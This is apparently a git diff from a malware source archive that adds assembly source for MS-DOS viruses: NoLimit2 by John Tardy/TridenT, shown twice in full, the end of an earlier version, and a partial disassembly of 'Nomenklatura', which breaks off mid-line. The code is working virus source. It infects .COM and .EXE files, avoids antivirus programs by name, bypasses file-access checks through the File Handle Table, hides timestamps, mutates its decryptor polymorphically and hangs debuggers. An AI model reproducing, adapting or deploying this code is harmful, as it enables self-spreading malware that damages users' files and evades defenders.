This is a tricky routine + push bx ; used to get the offset + int 2fh ; to the File Handle Table, + mov bl,es:[di] ; where we can change + Mov Ax,1216h ; directly some things. + int 2fh ; + pop bx ; + mov ds,es ; + + mov byte ptr [di+2],2 ; File now open with write + ; access. + + mov al,b [di+4] ; Store old file attributes + mov b [di+4],0 ; and clear it. + push ax ; + + push ds ; Store FHT on the stack. + push di ; + + mov ds,cs ; Restore old Ds and Es + mov es,cs ; (with .COM equal to Cs). + + Mov Ah,3fh ; Read the first 4 bytes + Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed + Mov Cx,4 ; (the call remember?)). + Int 21h ; + + Mov Ax,OrgPrg[BP] ; Check if it is a renamed + Cmp Ax,'ZM' ; .EXE file. If so, goto + Je ExeFile ; ExeFile. + Cmp Ax,'MZ' ; + Je ExeFile ; + + Cmp B OrgPrg[3][Bp],'*' ; Check if already infected. + + Jne Infect ; If not so, goto Infect. + +ExeFile: Call Close ; Call file close routine. + +SearchNext: Mov Ah,4fh ; And search the next victim. + Jmp Search ; + +Infect: Mov Ax,4202h ; Jump to EOF. + Cwd ; + Xor Cx,Cx ; + Int 21h ; + + Sub Ax,3 ; Calculate the Jump and the + Mov CallPtr[BP+1],Ax ; decryptor offset values. + Add Ax,(Offset Decr+0ffh) ; + Mov DecrOfs[Bp],Ax ; + + Call EncryptIt ; Call Encryption engine. + + Mov Ah,40h ; Write the decoder to the + Lea Dx,MainVir[Bp] ; end of the file. + Mov Cx,MainLen ; + Int 21h ; + + Mov Ah,40h ; And append the encrypted + Lea Dx,EndOfVir[BP] ; main virus body to it + Mov Cx,DecrLen ; also. + Int 21h ; + + Mov Ax,4200h ; Jump to the beginning of + Cwd ; the file. + Xor Cx,Cx ; + Int 21h ; + + Mov Ah,40h ; And write the jump to the + Lea Dx,CallPtr[BP] ; over the first 4 bytes of + Mov Cx,4 ; the file. + Int 21h ; + + Call Close ; Call close routine. + +Ready: Mov Ah,1ah ; Restore the DTA. + Mov Dx,80h ; + Int 21h ; + + Pop Ax ; Restore error register. + + Ret ; Return to host (at 100h). + +Close: Pop Si + + pop di ; Restore FHT offset again. + pop ds ; + + or b [di+6],40h ; Do not change file date/time + ; stamps. + + pop ax ; Restore file attributes. + mov b [di+4],al ; + + Mov Ah,3eh ; Close file. + Int 21h ; + + mov ds,cs ; Restore Ds segment. + + Push Si + Ret + +CallPtr Db 0e9h,0,0 ; Here the jump is generated. + +FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker. + +OrgPrg: Int 20h ; Original 4 bytes of the + Nop ; host program. + Nop ; + +EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a + Mov Ds,Ax ; random value). + Mov Ah,B Ds:[046ch] ; + + Mov Ds,Cs ; If Ah is zero, goto + Cmp Ah,0 ; EncryptIt + Je EncryptIt ; + +GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body + Lea Si,Decr[Bp] ; to the address just at the + Lea Di,EndOfVir[Bp] ; end of the virus. + Mov Cx,DecrLen ; +Encrypt: Lodsb ; + Xor Al,Ah ; + Stosb ; + Loop Encrypt ; + + Xor B Decrypt[Bp],2 ; Make the Xor variable. + + Test Ah,4 ; Make the Loop variable + Jc NoGarble ; (xor works like a switch + Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h). + + Xchg Ah,Al ; Read the different + And Ax,0003h ; Si, Di, Bx instructions + Mov Si,Ax ; from the table and store + Add Si,PolyTable ; them into the decrytor, thus + Add Si,Bp ; making it recognizable only + Lodsb ; at 4 bytes. (or nibble + Mov B MainVir[Bp],Al ; checking is usable). + Add Si,3 ; + Lodsb ; + Mov B Decrypt[Bp+1],Al ; + Add Si,3 ; + Lodsb ; + Mov B Incer[Bp],Al ; + +NoGarble: Ret ; Return to called + +; Table with functions for polymorphing + +PolyTable Equ $ + Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si + Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si + Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si + + DB Version ; Virus version number + +DecrLen Equ $-Decr + +EndOfVir Equ $ diff --git a/MSDOS/Virus.MSDOS.Unknown.nolimit2.a86 b/MSDOS/Virus.MSDOS.Unknown.nolimit2.a86 new file mode 100644 index 00000000..93de61c2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nolimit2.a86 @@ -0,0 +1,280 @@ +; +; NoLimit2 Virus by John Tardy / TridenT +; +; Limited version of Servant Virus +; +; Bugs Fixed from 1: +; With encryption, not all possibilities were used. Solved. + +Version Equ 2 ; Initial release. + + Org 0h ; Creates a .BIN file. + +; This piece of code is located at the begin of the file + +Start: Jmp MainVir ; Jump to the main virus. + + Db '*' ; Infection marker. + +; This will be appended to the victim + +MainVir: Lea Si,Decr ; This is the decryptor, which +DecrOfs Equ $-2 ; is mutated from the main + Mov Cx,DecrLen ; virus. It uses a simple xor +Decrypt: Xor B [Si],0 ; algorithm. It uses three +DecVal Equ $-1 ; different index regs, Si, Di +Incer: Inc Si ; or Bx. The Xor OpCode can be +LoopType: Loop Decrypt ; 80h or 82h and it's Loop or +MainLen Equ $-Mainvir ; LoopNz. + +; From here everything is encrypted + +Decr: Call On1 ; Get Offset of the appended +On1: Pop BP ; virus by pushing the call on + Sub BP,On1 ; the stack and retrieve the + ; address. + + Mov W TrapIt[Bp],KillDebug ; This routine restores the + Lea Si,OrgPrg[Bp] ; beginning of the original +TrapIt Equ $-2 ; file, except when run from + Mov Di,100h ; a debugger. It will then + Push Di ; put the routine at + Push Ax ; KillDebug in place of that, + Movsw ; this locking the system + Movsw ; after infection and + Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN. + Mov W TrapIt[Bp],OrgPrg ; + + Mov Ah,19h ; We don't want to infect + Int 21h ; programs on floppy drive, + Cmp Al,2 ; we then go to NoHD. + Jb NoHD ; + + Mov Ah,1ah ; Use a new DTA. + Mov Dx,0fd00h ; + Int 21h ; + + In Al,21h ; This makes DOS DEBUG to + Or Al,2 ; hang and thus making + Out 21h,Al ; beginning virus-researchers + Xor Al,2 ; a hard time. + Out 21h,Al ; + + Mov Ah,4eh ; Search a .COM file in the +Search: Lea Dx,FileSpec[BP] ; current directory. + Xor Cx,Cx ; + Int 21h ; + + Jnc Found ; If found, goto found, +NoHD: Jmp Ready ; else goto ready. + +KillDebug: Cli ; The routine that will be + Jmp KillDebug ; activated by the antidebug + ; part. + + Db '[NoLimit2] John Tardy / Trident ' + +; Here follows a table of filenames to avoid with infecting. + +Tabel Db 'CA' ; Catcher (Gobbler). + Db 'VA' ; Validate (McAfee). + Db 'GU' ; Guard (Dr. Solomon). + Db 'CO' ; Command.Com (Microsoft). + Db '4D' ; 4Dos (JP Software). + Db 'VS' ; VSafe (CPav). + Db 'TB' ; TbDel (Esass). +TabLen Equ $-Tabel + + +Found: Mov Bx,[0fd1eh] ; This routine checks if + Lea Si,Tabel[Bp] ; the candidate file begins + Mov Cx,TabLen/2 ; with the chars in the table +ChkNam: Lodsw ; above. If so, it goes to + Cmp Ax,Bx ; SearchNext. + Je SearchNext ; + Loop ChkNam ; + + mov dx,0fd1eh ; Open the file with only + Mov Ax,3d00h ; read access. + Int 21h ; + + Xchg Ax,Bx ; Put Filehandle to BX. + + Mov Ah,45h ; Duplicate Filehandle and + Int 21h ; use the new one (confuses + Xchg Ax,Bx ; some resident monitoring + ; software (TBFILE)). + + mov Ax,1220h ; This is a tricky routine + push bx ; used to get the offset + int 2fh ; to the File Handle Table, + mov bl,es:[di] ; where we can change + Mov Ax,1216h ; directly some things. + int 2fh ; + pop bx ; + mov ds,es ; + + mov byte ptr [di+2],2 ; File now open with write + ; access. + + mov al,b [di+4] ; Store old file attributes + mov b [di+4],0 ; and clear it. + push ax ; + + push ds ; Store FHT on the stack. + push di ; + + mov ds,cs ; Restore old Ds and Es + mov es,cs ; (with .COM equal to Cs). + + Mov Ah,3fh ; Read the first 4 bytes + Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed + Mov Cx,4 ; (the call remember?)). + Int 21h ; + + Mov Ax,OrgPrg[BP] ; Check if it is a renamed + Cmp Ax,'ZM' ; .EXE file. If so, goto + Je ExeFile ; ExeFile. + Cmp Ax,'MZ' ; + Je ExeFile ; + + Cmp B OrgPrg[3][Bp],'*' ; Check if already infected. + + Jne Infect ; If not so, goto Infect. + +ExeFile: Call Close ; Call file close routine. + +SearchNext: Mov Ah,4fh ; And search the next victim. + Jmp Search ; + +Infect: Mov Ax,4202h ; Jump to EOF. + Cwd ; + Xor Cx,Cx ; + Int 21h ; + + Sub Ax,3 ; Calculate the Jump and the + Mov CallPtr[BP+1],Ax ; decryptor offset values. + Add Ax,(Offset Decr+0ffh) ; + Mov DecrOfs[Bp],Ax ; + + Call EncryptIt ; Call Encryption engine. + + Mov Ah,40h ; Write the decoder to the + Lea Dx,MainVir[Bp] ; end of the file. + Mov Cx,MainLen ; + Int 21h ; + + Mov Ah,40h ; And append the encrypted + Lea Dx,EndOfVir[BP] ; main virus body to it + Mov Cx,DecrLen ; also. + Int 21h ; + + Mov Ax,4200h ; Jump to the beginning of + Cwd ; the file. + Xor Cx,Cx ; + Int 21h ; + + Mov Ah,40h ; And write the jump to the + Lea Dx,CallPtr[BP] ; over the first 4 bytes of + Mov Cx,4 ; the file. + Int 21h ; + + Call Close ; Call close routine. + +Ready: Mov Ah,1ah ; Restore the DTA. + Mov Dx,80h ; + Int 21h ; + + Pop Ax ; Restore error register. + + Ret ; Return to host (at 100h). + +Close: Pop Si + + pop di ; Restore FHT offset again. + pop ds ; + + or b [di+6],40h ; Do not change file date/time + ; stamps. + + pop ax ; Restore file attributes. + mov b [di+4],al ; + + Mov Ah,3eh ; Close file. + Int 21h ; + + mov ds,cs ; Restore Ds segment. + + Push Si + Ret + +CallPtr Db 0e9h,0,0 ; Here the jump is generated. + +FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker. + +OrgPrg: Int 20h ; Original 4 bytes of the + Nop ; host program. + Nop ; + +EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a + Mov Ds,Ax ; random value). + Mov Ax,W Ds:[046ch] ; + Xchg Al,Ah ; + + Push Ax + Mov Ah,2ch ; + Int 21h ; + Pop Ax ; + Not Cx ; + Add Ax,Cx ; + Adc Ax,Dx ; + Mov Ds,Cs ; + + Test Al,1 ; + Jnz GenKey ; + Xor B Decrypt[Bp],2 ; Make the Xor variable. + +GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body + Lea Si,Decr[Bp] ; to the address just at the + Lea Di,EndOfVir[Bp] ; end of the virus. + Mov Cx,DecrLen ; + Push Ax ; +Encrypt: Lodsb ; + Xor Al,Ah ; + Stosb ; + Loop Encrypt ; + + Pop Ax ; + + Test Ah,2 ; Make the Loop variable + Jc NoGarble ; (xor works like a switch + Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h). + + Add Al,Ah ; Read the different + And Ax,0003h ; Si, Di, Bx instructions + Mov Si,Ax ; from the table and store + Add Si,PolyTable ; them into the decrytor, thus + Add Si,Bp ; making it recognizable only + Lodsb ; at 4 bytes. (or nibble + Mov B MainVir[Bp],Al ; checking is usable). + Add Si,3 ; + Lodsb ; + Mov B Decrypt[Bp+1],Al ; + Add Si,3 ; + Lodsb ; + Mov B Incer[Bp],Al ; + +NoGarble: Ret ; Return to called + +; Table with functions for polymorphing + +PolyTable Equ $ + Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si + Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si + Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si + + DB Version ; Virus version number + +DecrLen Equ $-Decr + +EndOfVir Equ $ diff --git a/MSDOS/Virus.MSDOS.Unknown.nolimit2.asm b/MSDOS/Virus.MSDOS.Unknown.nolimit2.asm new file mode 100644 index 00000000..93de61c2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nolimit2.asm @@ -0,0 +1,280 @@ +; +; NoLimit2 Virus by John Tardy / TridenT +; +; Limited version of Servant Virus +; +; Bugs Fixed from 1: +; With encryption, not all possibilities were used. Solved. + +Version Equ 2 ; Initial release. + + Org 0h ; Creates a .BIN file. + +; This piece of code is located at the begin of the file + +Start: Jmp MainVir ; Jump to the main virus. + + Db '*' ; Infection marker. + +; This will be appended to the victim + +MainVir: Lea Si,Decr ; This is the decryptor, which +DecrOfs Equ $-2 ; is mutated from the main + Mov Cx,DecrLen ; virus. It uses a simple xor +Decrypt: Xor B [Si],0 ; algorithm. It uses three +DecVal Equ $-1 ; different index regs, Si, Di +Incer: Inc Si ; or Bx. The Xor OpCode can be +LoopType: Loop Decrypt ; 80h or 82h and it's Loop or +MainLen Equ $-Mainvir ; LoopNz. + +; From here everything is encrypted + +Decr: Call On1 ; Get Offset of the appended +On1: Pop BP ; virus by pushing the call on + Sub BP,On1 ; the stack and retrieve the + ; address. + + Mov W TrapIt[Bp],KillDebug ; This routine restores the + Lea Si,OrgPrg[Bp] ; beginning of the original +TrapIt Equ $-2 ; file, except when run from + Mov Di,100h ; a debugger. It will then + Push Di ; put the routine at + Push Ax ; KillDebug in place of that, + Movsw ; this locking the system + Movsw ; after infection and + Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN. + Mov W TrapIt[Bp],OrgPrg ; + + Mov Ah,19h ; We don't want to infect + Int 21h ; programs on floppy drive, + Cmp Al,2 ; we then go to NoHD. + Jb NoHD ; + + Mov Ah,1ah ; Use a new DTA. + Mov Dx,0fd00h ; + Int 21h ; + + In Al,21h ; This makes DOS DEBUG to + Or Al,2 ; hang and thus making + Out 21h,Al ; beginning virus-researchers + Xor Al,2 ; a hard time. + Out 21h,Al ; + + Mov Ah,4eh ; Search a .COM file in the +Search: Lea Dx,FileSpec[BP] ; current directory. + Xor Cx,Cx ; + Int 21h ; + + Jnc Found ; If found, goto found, +NoHD: Jmp Ready ; else goto ready. + +KillDebug: Cli ; The routine that will be + Jmp KillDebug ; activated by the antidebug + ; part. + + Db '[NoLimit2] John Tardy / Trident ' + +; Here follows a table of filenames to avoid with infecting. + +Tabel Db 'CA' ; Catcher (Gobbler). + Db 'VA' ; Validate (McAfee). + Db 'GU' ; Guard (Dr. Solomon). + Db 'CO' ; Command.Com (Microsoft). + Db '4D' ; 4Dos (JP Software). + Db 'VS' ; VSafe (CPav). + Db 'TB' ; TbDel (Esass). +TabLen Equ $-Tabel + + +Found: Mov Bx,[0fd1eh] ; This routine checks if + Lea Si,Tabel[Bp] ; the candidate file begins + Mov Cx,TabLen/2 ; with the chars in the table +ChkNam: Lodsw ; above. If so, it goes to + Cmp Ax,Bx ; SearchNext. + Je SearchNext ; + Loop ChkNam ; + + mov dx,0fd1eh ; Open the file with only + Mov Ax,3d00h ; read access. + Int 21h ; + + Xchg Ax,Bx ; Put Filehandle to BX. + + Mov Ah,45h ; Duplicate Filehandle and + Int 21h ; use the new one (confuses + Xchg Ax,Bx ; some resident monitoring + ; software (TBFILE)). + + mov Ax,1220h ; This is a tricky routine + push bx ; used to get the offset + int 2fh ; to the File Handle Table, + mov bl,es:[di] ; where we can change + Mov Ax,1216h ; directly some things. + int 2fh ; + pop bx ; + mov ds,es ; + + mov byte ptr [di+2],2 ; File now open with write + ; access. + + mov al,b [di+4] ; Store old file attributes + mov b [di+4],0 ; and clear it. + push ax ; + + push ds ; Store FHT on the stack. + push di ; + + mov ds,cs ; Restore old Ds and Es + mov es,cs ; (with .COM equal to Cs). + + Mov Ah,3fh ; Read the first 4 bytes + Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed + Mov Cx,4 ; (the call remember?)). + Int 21h ; + + Mov Ax,OrgPrg[BP] ; Check if it is a renamed + Cmp Ax,'ZM' ; .EXE file. If so, goto + Je ExeFile ; ExeFile. + Cmp Ax,'MZ' ; + Je ExeFile ; + + Cmp B OrgPrg[3][Bp],'*' ; Check if already infected. + + Jne Infect ; If not so, goto Infect. + +ExeFile: Call Close ; Call file close routine. + +SearchNext: Mov Ah,4fh ; And search the next victim. + Jmp Search ; + +Infect: Mov Ax,4202h ; Jump to EOF. + Cwd ; + Xor Cx,Cx ; + Int 21h ; + + Sub Ax,3 ; Calculate the Jump and the + Mov CallPtr[BP+1],Ax ; decryptor offset values. + Add Ax,(Offset Decr+0ffh) ; + Mov DecrOfs[Bp],Ax ; + + Call EncryptIt ; Call Encryption engine. + + Mov Ah,40h ; Write the decoder to the + Lea Dx,MainVir[Bp] ; end of the file. + Mov Cx,MainLen ; + Int 21h ; + + Mov Ah,40h ; And append the encrypted + Lea Dx,EndOfVir[BP] ; main virus body to it + Mov Cx,DecrLen ; also. + Int 21h ; + + Mov Ax,4200h ; Jump to the beginning of + Cwd ; the file. + Xor Cx,Cx ; + Int 21h ; + + Mov Ah,40h ; And write the jump to the + Lea Dx,CallPtr[BP] ; over the first 4 bytes of + Mov Cx,4 ; the file. + Int 21h ; + + Call Close ; Call close routine. + +Ready: Mov Ah,1ah ; Restore the DTA. + Mov Dx,80h ; + Int 21h ; + + Pop Ax ; Restore error register. + + Ret ; Return to host (at 100h). + +Close: Pop Si + + pop di ; Restore FHT offset again. + pop ds ; + + or b [di+6],40h ; Do not change file date/time + ; stamps. + + pop ax ; Restore file attributes. + mov b [di+4],al ; + + Mov Ah,3eh ; Close file. + Int 21h ; + + mov ds,cs ; Restore Ds segment. + + Push Si + Ret + +CallPtr Db 0e9h,0,0 ; Here the jump is generated. + +FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker. + +OrgPrg: Int 20h ; Original 4 bytes of the + Nop ; host program. + Nop ; + +EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a + Mov Ds,Ax ; random value). + Mov Ax,W Ds:[046ch] ; + Xchg Al,Ah ; + + Push Ax + Mov Ah,2ch ; + Int 21h ; + Pop Ax ; + Not Cx ; + Add Ax,Cx ; + Adc Ax,Dx ; + Mov Ds,Cs ; + + Test Al,1 ; + Jnz GenKey ; + Xor B Decrypt[Bp],2 ; Make the Xor variable. + +GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body + Lea Si,Decr[Bp] ; to the address just at the + Lea Di,EndOfVir[Bp] ; end of the virus. + Mov Cx,DecrLen ; + Push Ax ; +Encrypt: Lodsb ; + Xor Al,Ah ; + Stosb ; + Loop Encrypt ; + + Pop Ax ; + + Test Ah,2 ; Make the Loop variable + Jc NoGarble ; (xor works like a switch + Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h). + + Add Al,Ah ; Read the different + And Ax,0003h ; Si, Di, Bx instructions + Mov Si,Ax ; from the table and store + Add Si,PolyTable ; them into the decrytor, thus + Add Si,Bp ; making it recognizable only + Lodsb ; at 4 bytes. (or nibble + Mov B MainVir[Bp],Al ; checking is usable). + Add Si,3 ; + Lodsb ; + Mov B Decrypt[Bp+1],Al ; + Add Si,3 ; + Lodsb ; + Mov B Incer[Bp],Al ; + +NoGarble: Ret ; Return to called + +; Table with functions for polymorphing + +PolyTable Equ $ + Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si + Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si + Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si + + DB Version ; Virus version number + +DecrLen Equ $-Decr + +EndOfVir Equ $ diff --git a/MSDOS/Virus.MSDOS.Unknown.nomncltr.asm b/MSDOS/Virus.MSDOS.Unknown.nomncltr.asm new file mode 100644 index 00000000..9ad54f50 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nomncltr.asm @@ -0,0 +1,562 @@ + +PAGE 60,132 + +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +;ÛÛ ÛÛ +;ÛÛ NOMNCLTR ÛÛ +;ÛÛ ÛÛ +;ÛÛ Created: 19-Jan-92 ÛÛ +;ÛÛ ÛÛ +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + +.286c + +data_1e equ 4Ch ; (0000:004C=0E9h) +data_2e equ 84h ; (0000:0084=9Eh) +data_3e equ 46Ch ; (0000:046C=66CDh) +data_4e equ 3 ; (5C42:0003=0FFFFh) +data_5e equ 12h ; (5C42:0012=0) +data_17e equ 1610h ; (5C43:1610=0) +data_18e equ 4BAAh ; (5C43:4BAA=0) +data_19e equ 5C43h ; (5C43:5C43=0) +data_20e equ 0FE52h ; (5C43:FE52=0) +data_21e equ 0FFDBh ; (5C43:FFDB=0) + +code_seg_a segment + assume cs:code_seg_a, ds:code_seg_a + + + org 100h + +nomncltr proc far + +start: + jmp loc_2 + db 35 dup (90h) +data_7 dw 9090h ; Data table (indexed access) +data_8 dw 9090h ; Data table (indexed access) + db 30 dup (90h) +data_9 dw 9090h ; Data table (indexed access) + db 651 dup (90h) +data_10 dw 9090h +data_11 dw 9090h + db 169 dup (90h) +data_12 db 90h + db 125 dup (90h) +loc_2: + jmp loc_34 + db 'Nomenklatura' + db 0, 80h, 0FCh, 4Bh, 74h, 0Ah + db 80h, 0FCh + db 3Dh, 74h +data_13 dd 2EFF2E14h +data_14 dw 3D9h +data_15 db 3Ch + db 0AAh, 72h +data_16 dw 550Bh + db 8Bh, 0ECh, 80h, 66h, 6, 0FEh + db 5Dh, 0B0h, 3, 0CFh, 6, 1Eh + db 57h, 56h, 55h, 52h, 51h, 53h + db 50h, 0FCh, 72h, 22h, 0B9h, 80h + db 0, 8Bh, 0F2h + +locloop_4: + lodsb ; String [si] to al + or al,al ; Zero ? + loopnz locloop_4 ; Loop if zf=0, cx>0 + + mov cx,432Eh + sub si,3 + lodsw ; String [si] to ax + cmp ax,4D4Fh + je loc_5 ; Jump if equal + cmp ax,4558h + jne loc_9 ; Jump if not equal + mov ch,ah +loc_5: + cmp [si-4],cx + jne loc_9 ; Jump if not equal +loc_6: + mov ax,3D02h + pushf ; Push flags + push cs + call sub_1 + jc loc_9 ; Jump if carry Set + xchg ax,bx + push cs + pop ds + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + push cx + push dx + mov di,515h + mov word ptr [di],12Bh + mov [di+2],cs + mov word ptr [di+4],3B2h + mov [di+6],cs + call sub_5 + mov dx,4FDh + mov si,dx + mov cl,18h + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + jc loc_8 ; Jump if carry Set + cmp word ptr [si],5A4Dh + jne loc_7 ; Jump if not equal + call sub_2 + jmp short loc_8 +loc_7: + call sub_4 +loc_8: + mov ax,5701h + pop dx + pop cx + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + call sub_5 +loc_9: + pop ax + pop bx + pop cx + pop dx + pop bp + pop si + pop di + pop ds + pop es + jmp loc_3 + +nomncltr endp + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_2 proc near + mov cx,[si+16h] + add cx,[si+8] + mov ax,10h + mul cx ; dx:ax = reg * ax + add ax,[si+14h] + adc dx,0 + push dx + push ax + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + test dx,dx + jnz loc_10 ; Jump if not zero + cmp ax,400h + jae loc_10 ; Jump if above or = + pop ax + pop dx + ret +loc_10: + mov di,ax + mov bp,dx + pop cx + sub ax,cx + pop cx + sbb dx,cx + cmp word ptr [si+0Ch],0 + je loc_ret_13 ; Jump if equal + test dx,dx + jnz loc_11 ; Jump if not zero + cmp ax,400h + je loc_ret_13 ; Jump if equal +loc_11: + mov dx,bp + mov ax,di + push dx + push ax + add ax,400h + adc dx,0 + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + mov [si+2],dx + test dx,dx + jz loc_12 ; Jump if zero + inc ax +loc_12: + mov [si+4],ax + pop ax + pop dx + mov di,10h + div di ; ax,dx rem=dx:ax/reg + sub ax,[si+8] + les di,dword ptr [si+14h] ; Load 32 bit ptr + mov data_10,di ; (5C43:03D5=9090h) + mov data_11,es ; (5C43:03D7=9090h) + mov [si+14h],dx + mov [si+16h],ax + call sub_3 + jc loc_ret_13 ; Jump if carry Set + mov ah,40h ; '@' + mov dx,si + mov cx,18h + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + +loc_ret_13: + ret +sub_2 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_3 proc near + mov ah,40h ; '@' + mov cx,400h + mov dx,100h + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + xor cx,ax + cmc ; Complement carry + jnz loc_ret_14 ; Jump if not zero + mov ax,4200h + mov dx,cx + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + +loc_ret_14: + ret +sub_3 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_4 proc near + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + cmp ax,400h + jb loc_ret_17 ; Jump if below + cmp ax,0FA00h + jae loc_ret_17 ; Jump if above or = + push ax + cmp byte ptr [si],0E9h + jne loc_16 ; Jump if not equal + sub ax,403h + cmp ax,[si+1] + jne loc_16 ; Jump if not equal +loc_15: + pop ax + ret +loc_16: + call sub_3 + jc loc_15 ; Jump if carry Set + pop ax + sub ax,3 + mov dx,3D5h + mov si,dx + mov byte ptr cs:[si],0E9h + mov cs:[si+1],ax + mov ah,40h ; '@' + mov cx,3 + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + +loc_ret_17: + ret +sub_4 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_5 proc near + xor ax,ax ; Zero register + mov es,ax + mov si,515h + mov di,90h + mov cx,2 + +locloop_18: + lodsw ; String [si] to ax + xchg ax,dx + lodsw ; String [si] to ax + xchg dx,es:[di] + xchg ax,es:[di+2] + mov [si-4],dx + mov [si-2],ax + mov di,4Ch + loop locloop_18 ; Loop if cx > 0 + + ret +sub_5 endp + + db 2Eh, 80h, 3Eh, 1Fh, 5, 0 + db 74h, 12h, 41h, 75h, 0Eh, 32h + db 0E4h, 2Eh, 86h, 26h, 1Fh, 5 + db 0F5h, 2Eh, 8Bh, 0Eh, 22h, 5 + db 41h, 49h, 9Ch, 50h, 9Ch, 0Eh + db 0E8h, 0EFh, 0, 73h, 7, 83h + db 0C4h, 4, 0F9h, 0E9h, 0C8h, 0 +loc_19: + pop ax + sub ah,2 + cmp ah,2 + jae loc_28 ; Jump if above or = + push bx + push cx + push si + push ds +loc_20: + push ax + push bx + push cx + push dx + xor dx,dx ; Zero register + mov cx,100h + mov si,bx + push si + +locloop_21: + lods word ptr es:[si] ; String [si] to ax + dec ax + cmp ax,0FFF5h + jae loc_23 ; Jump if above or = + cmp ax,bx + jne loc_22 ; Jump if not equal + inc dh +loc_22: + xchg ax,bx + inc dx + inc bx +loc_23: + loop locloop_21 ; Loop if cx > 0 + + pop si + shr dl,1 ; Shift w/zeros fill + clc ; Clear carry flag + jz loc_25 ; Jump if zero + cmp dl,dh + jae loc_25 ; Jump if above or = + clc ; Clear carry flag + push cs + pop ds + mov bx,520h + inc word ptr [bx] + jnz loc_25 ; Jump if not zero + inc word ptr ds:data_20e[bx] ; (5C43:FE52=0) + mov al,ds:data_21e[bx] ; (5C43:FFDB=0) + add al,0F8h + jnc loc_24 ; Jump if carry=0 + mov al,0FFh +loc_24: + mov [bx+1],al + xor bx,bx ; Zero register + mov ds,bx + mov ax,ds:data_3e ; (0000:046C=66D9h) + xchg 